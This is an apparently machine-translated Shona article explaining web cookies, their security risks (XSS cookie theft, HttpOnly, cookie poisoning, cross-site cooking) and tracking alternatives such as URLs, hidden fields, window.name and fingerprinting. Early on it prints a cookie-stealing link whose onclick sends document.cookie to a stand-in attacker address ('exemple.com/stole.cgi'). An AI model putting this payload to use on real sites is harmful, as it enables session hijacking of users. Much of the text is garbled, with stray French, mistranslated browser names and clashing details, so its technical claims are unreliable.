Iyi mhando ye-in-saiti scripting inowanzo shandiswa nevanorwisa pane masaiti anobvumira vashandisi kutumira zvinyorwa zveHTML. Nekubatanidza chikamu chekodhi inoenderana mupiro weHTML, anorwisa anogona kugamuchira makuki kubva kune vamwe vashandisi. Ruzivo rwemakuki aya anogona kushandiswa nekubatanidza kune imwechete saiti uchishandisa makuki akabiwa, nekudaro achizivikanwa semushandisi akabiwa makuki.

Imwe nzira yekudzivirira kurwiswa kwakadaro ndeye kushandisa iyo HttpOnly mureza; iyi isarudzo, yakaunzwa kubvira vhezheni yechitanhatu yeInternet Explorer muPHP kubvira vhezheni 6 iyo yakarongwa kuti kuki risasvikikike kumutengi pedyo nescript. Nekudaro, vanogadzira webhu vanofanirwa kufunga nezve izvi mukuvandudza kwavo saiti kuitira kuti vadzivirirwe kune scripting mune saiti.

Imwe tyisidziro yekuchengetedza inoshandiswa ndeyekugadzirwa kwekuda mune saiti.

Iyo yepamutemo tekinoroji yakatarwa inobvumira makuki kuti adzoserwe kumashure chete kumaseva ari mudura kwaakabva. Nekudaro, kukosha kwemakuki kunogona kutumirwa kune mamwe maseva uchishandisa nzira dzisiri dzemakuki misoro.

Kunyanya, mitauro yekunyora seJavaScript inowanzo tenderwa kuwana kukosha kwecookie uye inokwanisa kutumira zvinopokana kune chero server paInternet. Kugona kunyora uku kunoshandiswa kubva kumawebhusaiti achibvumira vashandisi kutumira zvinyorwa zveHTML kuti vamwe vashandisi vaone.

Semuyenzaniso, munhu anorwisa ari kushanda pa example.com domain anogona kutumira chirevo chine chinongedzo chinotevera chinonongedza kubhurogi rine mukurumbira ravasingadzore.

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Kana mumwe mushandisi akadzvanya pane iyi link, bhurawuza rinoburitsa iyo onclick attribute chikamu chekodhi, saka inotsiva iyo document.cookie tambo nerunyorwa rwemushandisi makuki ari kushanda peji ino. Naizvozvo, runyoro urwu rwekuki rwunotumirwa kune example.com server, uye anorwisa anokwanisa kuunganidza makuki emushandisi uyu.

Kurwiswa kwerudzi urwu kunonetsa kuona kudivi remushandisi nekuti iyo script inobva kune imwechete domain inoseta kuki, uye mashandiro ekutumira maitiro anoita seakatenderwa neiyo domain. Zvinofungidzirwa kuti ibasa revatungamiriri vari kushanda nerudzi urwu rwesaiti kuisa zvirambidzo zvinodzivirira kuburitswa kwekodhi yakaipa.

Makuki haaonekwe zvakananga kune vatengi-padivi zvirongwa seJavaScript kana vakatumirwa neHttpOnly mureza. Kubva pakuona kwesevha, mutsauko chete ndewekuti mumutsara weSet-Cookie musoro unowedzerwa ndima nyowani ine tambo HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Kana bhurawuza ragashira cookie yakadaro, inofanirwa kuishandisa zvakajairika mukutsinhana kweHTTP inotevera, asi pasina kuita kuti ionekwe kune zvinyorwa zvinotevedzwa kudivi remutengi. Iyo HttpOnly mureza haisi chikamu chechero pamutemo tekinoroji yakatarwa, uye haina kuitwa mumabhurawuza ese. Ziva kuti parizvino hapana nzira yekudzivirira kuverenga uye kunyora kwesesheni makuki neiyo XMLHTTPRequest nzira.

Kugadziridzwa kwemukati: munhu anorwisa anotumira cookie isiriyo kune server, pamwe yakagadzirwa kubva kukikoki inoshanda inotumirwa neseva.

Pakarepo makiki anoda kuchengetwa uye kudzorerwa asina kuchinjwa kuvhavha, munhu anorwisa anogona kugadzirisa kukosha kwekiki asati adzoserwa kuvhavha. Semuyenzaniso, kana kuki iine huremu hwese hunofanirwa kubhadharirwa nemushandisi pazvinhu zvakaiswa mungoro yekutenga yechitoro, kushandura kukosha uku kunoisa server panjodzi yekuchaja anorwisa zvishoma pane mutengo wekutanga. Maitiro ekugadzirisa kukosha kwekiki anonzi cookie poisoning uye inogona kushandiswa mushure mekubirwa kwecookie kuita kuti kurwisa kurambe kuchienderera.

Mune nzira yekupfuura yekuki, munhu anorwisa anoshandisa browser glitch kutumira kuki isingaite kune server.

Mazhinji mawebhusaiti, zvisinei, anongochengeta ID yechikamu - nhamba yakangogadzirwa yakasarudzika inoshandiswa kuzivisa mushandisi wechikamu - mucookie pachayo, nepo mamwe ese ruzivo achichengetwa paseva. Muchiitiko ichi, dambudziko iri rinogadziriswa zvakanyanya.

Imwe neimwe saiti inotarisirwa kuve neyayo makuki, saka imwe saiti haifanire kukwanisa kugadzirisa kana kugadzira makuki ane chekuita neimwe saiti. Iyo web browser kuchengetedza kukanganisa inogona kubvumira masaiti ane hutsinye kutyora mutemo uyu. Kushandiswa kwechikanganiso chakadaro kunowanzonzi cross-site kubika. Chinangwa chekurwiswa kwakadaro chingave chikamu chekuba ID.

Vashandisi vanofanira kushandisa shanduro dzichangoburwa dzemabhurawuza ewebhu umo kusagadzikana uku kunobviswa zvachose.

Kusawirirana pakati pemutengi neserver

Kushandiswa kwemakuki kunogona kuunza kupokana pakati penyika yemutengi uye nyika yakachengetwa mucookie. Kana mushandisi akawana cookie uye akadzvanya pa "Back" bhatani rebrowser, mamiriro ebrowser kazhinji haana kufanana neasati atora. Semuenzaniso, kana bhasikiti rechitoro chepamhepo rakagadzirwa uchishandisa makuki, zviri mukati medengu hazvigone kuchinja kana mushandisi adzokera kunhoroondo yebrowser: kana mushandisi akadzvanya bhatani rekuwedzera chinyorwa mubhasiketi rake uye nekudzvanya pa "Dzoka". " bhatani, chinyorwa chinoramba chiri mune ino. Ichi chingave chisiri chinangwa chemushandisi, uyo anoda kudzima kuwedzera kwechinyorwa. Izvi zvinogona kukonzera kusavimbika, kuvhiringidzika, uye tsikidzi. Saka vanogadzira webhu vanofanirwa kuziva nezvedambudziko iri uye voita matanho ekugadzirisa mamiriro akadai.

Makiki anoramba achishoropodzwa nenyanzvi dzekuchengetedza zvakavanzika nekusagadzirirwa kupera munguva pfupi, nekudaro achibvumira mawebhusaiti kuteedzera vashandisi uye kuvaka chimiro chavo nekufamba kwenguva. Ichi chikamu chekiki zvakare chikamu chechikamu chekubira dambudziko, nekuti cookie inobiwa inoenderera inogona kushandiswa kutevedzera mushandisi kwenguva yakati rebei.

Kuverenga zvakare: GFAM: ndivanaani? Sei ivo (dzimwe nguva) vachityisa?

Zvimwe zvemakuki

Mamwe maoparesheni anogona kuitwa uchishandisa makuki anogona zvakare kuitwa uchishandisa dzimwe nzira dzinopfuura makuki kana kudzoreredza makuki akadzimwa, izvo zvinogadzira nyaya dzekuvanzika nenzira imwechete (kana dzimwe nguva zvakaipisisa nekuti hazvionekwe) kupfuura makuki.

IP kero

Vashandisi vanogona kuteverwa neiyo IP kero yekombuta inodaidza peji. Iyi nzira yave iripo kubva pakaunzwa World Wide Web, sezvo mapeji anotorwa sevha inokumbira IP kero yekombuta inoshandisa browser kana proxy, kana pasina iri kushandiswa. Sevha inogona kuteedzera ruzivo urwu kunyangwe paine makuki ari kushandiswa kana kwete. Zvakadaro, kero idzi hadzina kuvimbika pakuziva mushandisi pane makuki nekuti makomputa nemaproxies anogona kugovaniswa nevashandisi vakawanda, uye komputa imwe chete inogona kugamuchira kero yeIP yakasiyana pachikamu chega chega chebasa (senge c kazhinji nyaya yekubatanidza runhare) .

Kutsvaga ne IP kero kunogona kuvimbika mune mamwe mamiriro, senge Broadband connections iyo inochengetedza imwechete IP kero kwenguva yakareba, chero simba richiripo.

Mamwe masisitimu akaita seTor akagadzirirwa kuchengetedza kusazivikanwa kweInternet uye kuita kuti kuteedzera neIP kero kusaite kana kusaita.

URL

Imwe nzira yakanyatsojeka yakavakirwa pakuisa ruzivo mumaURL. Iyo yekubvunza tambo chikamu cheiyo URL imwe nzira inowanzo shandiswa pachinangwa ichi, asi zvimwe zvikamu zvinogona kushandiswa zvakare. Ose ari maviri evhavhavha yeJava uye iyo PHP sesheni masisitimu anoshandisa nzira iyi kana makuki asina kugoneswa.

Iyi nzira inosanganisira webhu server kuwedzera zvikumbiro zvetambo kune zvinongedzo zvewebhu peji inoitakura kana yatumirwa kubrowser. Kana mushandisi achitevera chinongedzo, bhurawuza inodzosera yakasungirirwa tambo yemubvunzo kune server.

Tambo dzemubvunzo dzinoshandiswa pachinangwa ichi uye makuki akafanana, ese ari ruzivo rwakasarudzwa neserver uye rwunodzoserwa nebrowser. Nekudaro, pane misiyano: kana URL ine tambo yemubvunzo ikashandiswazve, iwowo ruzivo rwunotumirwa kune server. Semuenzaniso, kana zvido zvemushandisi zvakaiswa mumutsara wemubvunzo weURL uye mushandisi otumira iyo URL kune mumwe mushandisi neemail, mushandisi iyeye anozokwanisa kushandisa izvo zvaunofarira.

Nekune rumwe rutivi, kana mushandisi akawana peji rimwechete kaviri, hapana vimbiso yekuti tambo yemibvunzo imwechete ichashandiswa nguva mbiri. Semuenzaniso, kana mushandisi akagara pane peji kubva mukati mesaiti peji kekutanga uye akagara pane imwechete peji kubva kune rekunze peji kechipiri, tambo yemubvunzo inehama nesaiti peji inowanzosiyana, nepo makuki akafanana. .

Zvimwe zvakashata zvetambo dzemubvunzo zvine chekuita nekuchengetedzeka: kuchengetedza data rinoratidza chikamu mune tambo dzemubvunzo kunogonesa kana kurerutsa chikamu chekugadzirisa kurwisa, identifier referensi kurwiswa, uye zvimwe zviitiko. Kupfuura maID echikamu seHTTP makuki akachengeteka zvakanyanya.

Yakavanzika fomu munda

Imwe nzira yekutevera chikamu, inoshandiswa neASP.NET, ndeye kushandisa mafomu ewebhu ane minda yakavanzika. Iyi nzira yakada kufanana nekushandisa URL yemibvunzo tambo kutakura ruzivo uye ine zvakanakira nekuipira zvakafanana; uye kana fomu racho rikagadziriswa nenzira yeHTTP GET, minda yacho inove chikamu che URL yebrowser inozoitumira kana ichiendesa fomu. Asi mafomu mazhinji anogadziriswa neHTTP POST, izvo zvinokonzeresa kuti ruzivo rwefomu, kusanganisira minda yakavanzika, iwedzerwe seimwe yekuwedzera iyo isiri chikamu cheURL kana cookie.

Iyi nzira ine mabhenefiti maviri kubva pakuona kwekutevera: chekutanga, kuronda ruzivo rwakaiswa muHTML source code uye POST yekuisa pane iyo URL ichabvumira muvhareji wemushandisi kudzivirira iyi yekutevera; chechipiri, ruzivo rwemusangano haruna kukopa kana mushandisi achikopa URL (kuchengetedza peji ku diski kana kutumira kuburikidza neemail, semuenzaniso).

window.name

Ese akajairika mabhurawuza ewebhu anogona kuchengeta akati wandei data (2MB kusvika 32MB) kuburikidza neJavaScript uchishandisa iyo DOM's window.name pfuma. Iyi data inogona kushandiswa pachinzvimbo chesesheni makuki uye inoshandiswawo munzvimbo dzese. Iyo tekinoroji inogona kusanganiswa nezvinhu zveJSON kuchengetedza yakaomesesa seti yevatengi-parutivi chikamu chinosiyana.

Izvo zvakaderera ndezvekuti hwindo rega rega rakapatsanurwa kana tebhu ichatanga iine isina chinhu hwindo.name; kana uchitsvaga nematabo (akavhurwa nemushandisi) izvi zvinoreva kuti ma tabo anovhurwa ega haazove nezita rewindow. Pamusoro pezvo windows.name inogona kushandiswa kuteedzera vashanyi munzvimbo dzakasiyana siyana izvo zvinogona kuunza nyaya yekuvanzika.

Mune mamwe maitiro izvi zvinogona kuve zvakachengeteka kupfuura makuki, nekuda kwekusabatanidzwa kwesevha, nekudaro zvichiita kuti isapindike kune network kurwiswa kwe sniffer makuki. Nekudaro, kana matanho akakosha akatorwa kuchengetedza iyo data, iri panjodzi yekuenderera mberi nekurwiswa, sezvo iyo data inowanikwa kuburikidza nedzimwe nzvimbo dzakavhurwa pahwindo rimwe chete.

HTTP chokwadi

Iyo HTTP protocol inosanganisira iyo yekutanga yekuwana yechokwadi mapuroteni uye yekuwana yechokwadi digest, iyo inobvumira kupinda kune peji rewebhu chete kana mushandisi akapa zita rekushandisa nepassword. okay pass. Kana sevha ikakumbira chitupa kuti ipe mukana kune peji rewebhu, bhurawuza rinorikumbira kubva kumushandisi uye kana rangoriwana, bhurawuza rinoichengeta uye rinotumira mune zvese zvinotevera zvikumbiro zveHTTP. Ruzivo urwu runogona kushandiswa kutevera mushandisi.

Chinhu chakagovaniswa munharaunda

Kana browser ichisanganisira Adobe Flash Player plugin, iyo zvemuno zvakagovaniswa zvinhu inogona kushandiswa kune chinangwa chakafanana nemakuki. Vanogona kuve sarudzo inoyevedza yevagadziri vewebhu nekuti:

  • iyo yakasarudzika saizi muganho wenzvimbo yakagovaniswa chinhu i100 KB;
  • cheki chekuchengetedza chakapatsanurwa kubva kune mushandisi cookie cheki (saka zvinhu zvemuno zvakagovaniswa zvinogona kubvumidzwa kana makuki asiri).

Iyi poindi yekupedzisira, iyo inosiyanisa iyo cookie manejimendi mutemo kubva kune iyo yeAdobe yenzvimbo yakagovaniswa zvinhu inomutsa mibvunzo nezve manejimendi nemushandisi wezvirongwa zvake zvekuvanzika: anofanirwa kuziva kuti manejimendi ake emakuki haakonzerese manejimendi yezvinhu zvakagovaniswa zvemuno, uye zvinopesana.

Kumwe kushoropodza sisitimu iyi ndeyekuti inogona kushandiswa chete kuburikidza neAdobe Flash Player plugin inova yemuridzi kwete yewebhu chiyero.

Mutengi-kudivi kushingirira

Mamwe mabhurawuza anotsigira script-based persistence mechanism, inobvumira peji kuchengetedza ruzivo munharaunda kuti ishandiswe gare gare. Internet Explorer, semuenzaniso, inotsigira ruzivo rwunoramba rwuripo munhoroondo yebrowser, mabhukimaki, mune fomati yakachengetwa muXML, kana zvakananga newebhu peji rakachengetwa kudhisiki. YeMicrosoft Internet Explorer 5, kune mushandisi-data nzira inowanikwa kuburikidza neDHTML maitiro.

Iyo W3C yakaunza muHTML 5 itsva JavaScript API yemutengi-parutivi data chengetedzo inonzi Web kuchengetedza uye yakanangwa kutsiva zvachose makuki. Izvo zvakafanana nemakuki asi nehukuru hwakagadziridzwa uye pasina kuchengetedza ruzivo mumusoro weHTTP zvikumbiro. Iyo API inobvumira marudzi maviri ekuchengetera webhu: chengetedzo yenzvimbo uye sesesheni, yakafanana neinopfuurira makuki uye masekikuki echikamu (kunze kwekuti makuki emusangano anopera kana browser yakavharwa. kuchengetwa kwechikamu kupera kana tebhu yakavharwa), zvichiteerana. Webhu yekuchengetedza inotsigirwa neMozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 uye Opera 10.50.

Imwe nzira yakasiyana inowanzovimba nebrowser caching (mundangariro kwete kuzorodza) uchishandisa JavaScript zvirongwa mumapeji ewebhu. 

Semuyenzaniso, peji rinogona kunge riine tag . La premiĂšre fois que la page se charge, le programme exemple.js est aussi chargĂ©. 

Panguva ino, chirongwa chinoramba chiri mundangariro yecache uye peji rakashanyirwa haridzorerwe kechipiri. Nekuda kweizvozvo, kana chirongwa chine shanduko yepasirese (semuenzaniso var id = 3243242;), chiziviso ichi chinoramba chiripo uye chinogona kushandiswa neimwe JavaScript kodhi kana peji yaiswa zvakare, kana kana peji rinobatanidza chirongwa raiswa. 

Chinhu chikuru chakakanganisika cheiyi nzira ndechekuti JavaScript yepasi rose shanduko inofanirwa kunge yakamira, zvichireva kuti haigone kuchinjwa kana kudzimwa secookie.

web browser zvigunwe

Chigunwe chebrowser iruzivo rwakaunganidzwa nezve zvigadziriso zvebrowser nekuda kwekuzivikanwa. Aya mafingerprints anogona kushandiswa kuratidza zvizere kana zvishoma mushandisi weInternet kana mudziyo kunyangwe makuki akadzimwa.

Ruzivo rwekumisikidzwa kwebrowser rekutanga rwakaunganidzwa kwenguva refu nevateereri vewebhusaiti nechinangwa chekuyera nemazvo traffic yevanhu pawebhu uye kuona nzira dzakasiyana dzekubiridzira. Nerubatsiro rwemutauro weclient-side scripting, kuunganidza ruzivo kwakawanda ndiko zvino zvinogoneka.

Kushandura ruzivo urwu kuita tambo diki kunoburitsa chigunwe chemunwe. Muna 2010, iyo Electronic Frontier Foundation (EFF) yakayera entropy yechigunwe chebrowser kuti iite zvishoma. 18,1 matomu, uye izvo zvaive zvisati zvaitika mu canvas fingerprinting yakawedzera 5,7 bits kune iyo entropy.

Cookies muchidimbu

Makuki madiki mameseji mafaira akachengetwa newebhu bhurawuza pahard drive yevashanyi webhusaiti uye anoshandiswa (pakati pezvimwe zvinhu) kurekodha ruzivo nezve muenzi kana rwendo rwavo kuburikidza nesaiti. Webhusaiti anogona nokudaro kuziva maitiro emushanyi uye kugadzirisa kuratidzwa kwesaiti yake kune wese mushanyi; makuki anobva aita kuti zvikwanisike kuyeuka kuti zvingani zvinyorwa zvekuratidza pane peji reimba kana kunyange kuchengetedza magwaro ekupinda kune chero bato repachivande: kana mushanyi adzokera kunzvimbo, hazvichadiwi kuti anyore zita rake nepassword zvizivikanwe, sezvo zvichingoverengerwa mucookie.

Cookie ine hupenyu hushoma, hwakatarwa nemugadziri wesaiti. Vanogonawo kupera pakupera kwechikamu pane saiti, iyo inoenderana nekuvhara kwebrowser. Makuki anoshandiswa zvakanyanya kuita kuti hupenyu huve nyore kune vashanyi uye kuvapa ruzivo rwakakosha. Asi unyanzvi hunokosha hunoita kuti zvikwanisike kutevera mushanyi panzvimbo dzinoverengeka uye nokudaro kuunganidza uye kuyambuka-kutarisa ruzivo rwakanyanya pamusoro pemaitiro ake. Iyi nzira yakapa kushandiswa kwemakuki mukurumbira senzira yekutarisa iyo inotyora kuvanzika kwevashanyi, izvo zvinosuruvarisa zvinoenderana nezviri kuitika mune dzakawanda zviitiko zvekushandiswa nekuda kwezvikonzero zvisiri zvehunyanzvi kana kusaremekedza zvinotarisirwa nemushandisi. .

Mukupindura kutya uku kuri pamutemo, HTML 5 inounza itsva JavaScript API yemutengi-divi rekuchengetedza data inonzi Web kuchengetedza, iyo yakachengeteka zvakanyanya uye ine hukuru hukuru, iyo ine chinangwa chekutsiva makuki.

Kuchengetwa kwekiki

Nemamwe mabhurawuza, cookie inogadziriswa zviri nyore, yakapfava mameseji edhita seNotepad inokwana kushandura hunhu hwayo nemaoko.

Makuki anochengetwa zvakasiyana zvichienderana nebrowser:

  • Microsoft Internet Explorer inochengetedza cookie imwe neimwe mune imwe faira;
  • Mozilla Firefox inochengetedza makuki ayo ese mune imwe faira;
  • dhanzi inochengetedza makuki ayo ese mufaira rimwe chete uye inoavharira (hazvigone kuigadzirisa kunze kweiyo software sarudzo);
  • Apple Safari inochengetedza makuki ayo mune imwechete .plist yekuwedzera faira. Kugadziriswa kunogoneka asi hakusi nyore, kunze kwekunge iwe uchipfuura nesarudzo dzesoftware.

Mabhurawuza anodiwa kutsigira dai wango :

  • 300 makeke panguva imwe chete;
  • 4 o pacookie;
  • 20 makuki pamunhu kana domain.
[Chiverengero: 0 Zvinoreva: 0]

rakanyorwa Ongororo Editors

Chikwata chevapepeti vehunyanzvi chinoshandisa yavo nguva kutsvagisa zvigadzirwa, kuita bvunzo dzinoshanda, kubvunzurudza maindasitiri nyanzvi, kuongorora wongororo dzevatengi, uye kunyora zvese zvedu mhedzisiro seinonzwisisika uye yakazara pfupiso.

Leave mhinduro

Yako email kero haizoburitswa Raida minda anozivikanwa *

Unofungei?

384 Points
Upvote Downvote